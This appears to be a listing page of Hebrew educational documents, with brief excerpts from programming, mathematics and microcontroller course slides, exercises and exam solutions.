PowerPoint Presentation מצביעים הקצאת זיכרון דינאמית מבנים - Structures טיפוסי נתונים - types Data העברת פרמטרים ל- main טענות נכונות שימוש בסיסי אריתמטיקת מצביעים void* מצביע למצביע 2 כתובת ערך הבית int התופס 4 בתים 7 0 0 0

קרא עוד

2013/14 אוניברסיטת חיפה מבוא למדעי מחשב, מעבדה מטרת המעבדה: לתרגל את המעבר מאלגוריתם לקוד C כמה שיותר. הוראות:.1.2 ניתן לעבוד ביחידים או בזוגות. (יש מ

2013/14 אוניברסיטת חיפה מבוא למדעי מחשב, מעבדה מטרת המעבדה: לתרגל את המעבר מאלגוריתם לקוד C כמה שיותר. הוראות:.1.2 ניתן לעבוד ביחידים או בזוגות. (יש מ מטרת המעבדה: לתרגל את המעבר מאלגוריתם לקוד C כמה שיותר. הוראות:.1.2 ניתן לעבוד ביחידים או בזוגות. (יש מספיק עמדות לכולם ולכן מומלץ לעבוד ביחידים). במהלך המעבדה יהיה עליכם לבצע משימות. אם תצטרכו עזרה בשלב

קרא עוד

שקופית 1

שקופית 1 Computer Programming Summer 2017 תרגול 5 מערכים חד-מימדיים )תזכורת( לדוגמא: מערך בשם Arr בגודל 8 שאיבריו מטיפוס int 3 7 5 6 8 1 23 16 0 1 2 3 4 5 6 7 ב - arr[0] ב יושב ערך שהוא המספר השלם 3 arr[1] - יושב

קרא עוד

PowerPoint Presentation

PowerPoint Presentation פרוטאוס הדרכה לפיתוח פרויקט מבוסס ארדואינו 1 הוראות הפעלה תוכנת פרוטאוס מכילה כמות גדולה מאוד של כלי עזר להבנת דרך ההפעלה של התוכנה. שני מקורות מידע עיקריים עומדים לרשות המשתמש מחוץ לתוכנה: o באתר האינטרנט

קרא עוד

Python 2.7 in Hebrew

Python 2.7 in Hebrew Python גרסה 7.2 זהר זילברמן גרסה 1.71 אין לשכפל, להעתיק, לצלם, להקליט, לתרגם, לאחסן במאגר מידע, לשדר או לקלוט בכל דרך או אמצעי אלקטרוני, אופטי או מכני או אחר כל חלק שהוא מהחומר שבספר זה. שימוש מסחרי מכל

קרא עוד

Programming

Programming קורס תכנות שיעור עשירי: מיונים, חיפושים, קצת ניתוח זמני ריצה, קצת תיקון טעויות ועוד על רשימות 1 רשימה מקושרת רשימה היא אוסף סדור של פעולות רשימה לעומת מערך ערכים 3 5 7 9 typedef struct node { int data;

קרא עוד

תוכן העניינים

תוכן העניינים הוצאת חושבים קדימה הילה קדמן # חלק ב יעוץ מקצועי: חיים אברבוך מותאם לתכנית הלימודים החדשה בבתי הספר התיכוניים מהדורה חמישית הוצאת חושבים קדימה ת.ד. 1293 רעות 71908 www.kadman.net הילה קדמן 0522 525527

קרא עוד

Overview of new Office 365 plans for SMBs

Overview of new Office 365 plans for SMBs מעבר בין חבילות Online מעבר בין חבילות ב- Open Online to Open Current Plan Upgrade Options Current Plan Upgrade Options Business Essentials Business Premium Enterprise E1 Enterprise E3/E4 Enterprise E1

קרא עוד

Microsoft Word - 01 difernziali razionalit

Microsoft Word - 01 difernziali razionalit פונקציות רציונליות 5 יחידות מתוך הספר 806 כרך ד' 0, כל הזכויות שמורות ל ואריק דז'לדטי חל איסור מוחלט לתרגם, להעתיק או לשכפל חוברת זו או קטעים ממנה, בשום צורה ובשום אמצעי אלקטרוני, אופטי או מכני (לרבות

קרא עוד

234114

234114 )234117 )234114 \ סמסטר חורף תשע"ז 2017 מבחן מסכם מועד א', 21 לפברואר 2 3 4 1 1 מספר סטודנט: רשום/ה לקורס: משך המבחן: 3 שעות. חומר עזר: אין להשתמש בכל חומר עזר. הנחיות כלליות: מלאו את הפרטים בראש דף זה

קרא עוד

2019 שאלות מומלצות לתרגול מס' דיפרנציאביליות של פונקציה סקלרית )המשך(. כלל השרשרת. S = ( x, y, z) z = x + 3y על המשטח מצאו נקודה בה מישור משיק

2019 שאלות מומלצות לתרגול מס' דיפרנציאביליות של פונקציה סקלרית )המשך(. כלל השרשרת. S = ( x, y, z) z = x + 3y על המשטח מצאו נקודה בה מישור משיק דיפרנציאביליות של פונקציה סקלרית )המשך( כלל השרשרת S ( z) z + על המשטח מצאו נקודה בה מישור משיק מקביל : f ( ) + הפונקציה מוגדרת וגזירה ברציפות בכל M( ) שאלה נתון פרבולואיד אליפטי P ( z) + 6 + z + 8 למישור

קרא עוד

Microsoft Word - Sol_Moedb10-1-2,4

Microsoft Word - Sol_Moedb10-1-2,4 הפקולטה למתמטיקה - הטכניון חיפה מד''ח - 48 חורף תשע''א - בחינה סופית מועד ב' שאלה : תהי נתונה המד"ח הבאה: u + uu = y א. מצא את העקומים האופייניים של משוואה זו בצורה פרמטרית. ב. פתור את המד"ח הנתונה לעיל

קרא עוד

תאריך פרסום: תאריך הגשה: מבנה נתונים תרגיל 5 )תיאורטי( מרצה ומתרגל אחראים: צחי רוזן, דינה סבטליצקי נהלי הגשת עבודה: -את העבודה יש לה

תאריך פרסום: תאריך הגשה: מבנה נתונים תרגיל 5 )תיאורטי( מרצה ומתרגל אחראים: צחי רוזן, דינה סבטליצקי נהלי הגשת עבודה: -את העבודה יש לה תאריך פרסום: 01.01.15 תאריך הגשה: 15.01.15 מבנה נתונים תרגיל 5 )תיאורטי( מרצה ומתרגל אחראים: צחי רוזן, דינה סבטליצקי נהלי הגשת עבודה: -את העבודה יש להגיש בזוגות. -העבודה חייבת להיות מוקלדת. -הקובץ חייב

קרא עוד

Slide 1

Slide 1 מבוא למחשב בשפת C צעדים הרצאה 2: ראשונים בשפת C מבוסס על השקפים שחוברו ע"י שי ארצי, גיתית רוקשטיין, איתן אביאור וסאהר אסמיר עבור הקורס "מבוא למדעי המחשב". עודכן ע"י דן רביב נכתב על-ידי טל כהן, נערך ע"י

קרא עוד

Microsoft PowerPoint - lec10.ppt

Microsoft PowerPoint - lec10.ppt תכנו ת מ ונחה ע צמ י ם בשפת ++C אוהד ברזילי אוניברסיטת תל אביב ירו ש ה מרו בה המצגת מכילה קטעים מתוך מצגת של פרופ' עמירם יהודאי ע"פ הספר: Object-Oriented Software Construction, 2nd edition, by Bertrand

קרא עוד

מצגת של PowerPoint

מצגת של PowerPoint מבוא כללי לתכנות ולמדעי המחשב תרגול מס' 1 דין שמואל dshmuel110@gmail.com 1 1. מנהלות מרצה: אמיר רובינשטיין, amirr@tau.ac.il שעות קבלה: לשאלות קצרות - מייד לאחר השיעור. ניתן לתאם במייל שעות אחרות. מתרגל:

קרא עוד

פתרון מבחן במיקרו בקרים תשעו

פתרון מבחן במיקרו בקרים תשעו פתרון מבחן במיקרו בקרים תשעו תשובה 5 א. Mov 4h,a העבר את הנתון שבאקומולטור אל כתובת 4h ב RAM הנתונים הפנימי. Mov 41h,#1h העבר מידית לכתובת 41h ב RAM הנתונים הפנימי את הנתון 1 הקסה )1 בינארי(. Cjne a,4h,note

קרא עוד

Microsoft Word - Ass1Bgu2019b_java docx

Microsoft Word - Ass1Bgu2019b_java docx ת ר ג י ל 1 ב ק ו ר ס מ ב ו א לתכנות 202.1.9031 JAVA סמסטר ב, ת נ א י ם ו ל ו ל א ו ת תאריך אחרון להגשה בציון מלא : 02.04.19 עד שעה : 23:55, כ ל יום איחור ל א מ א ו ש ר א ו ח ל ק ממנו מודריד 10 נקודות

קרא עוד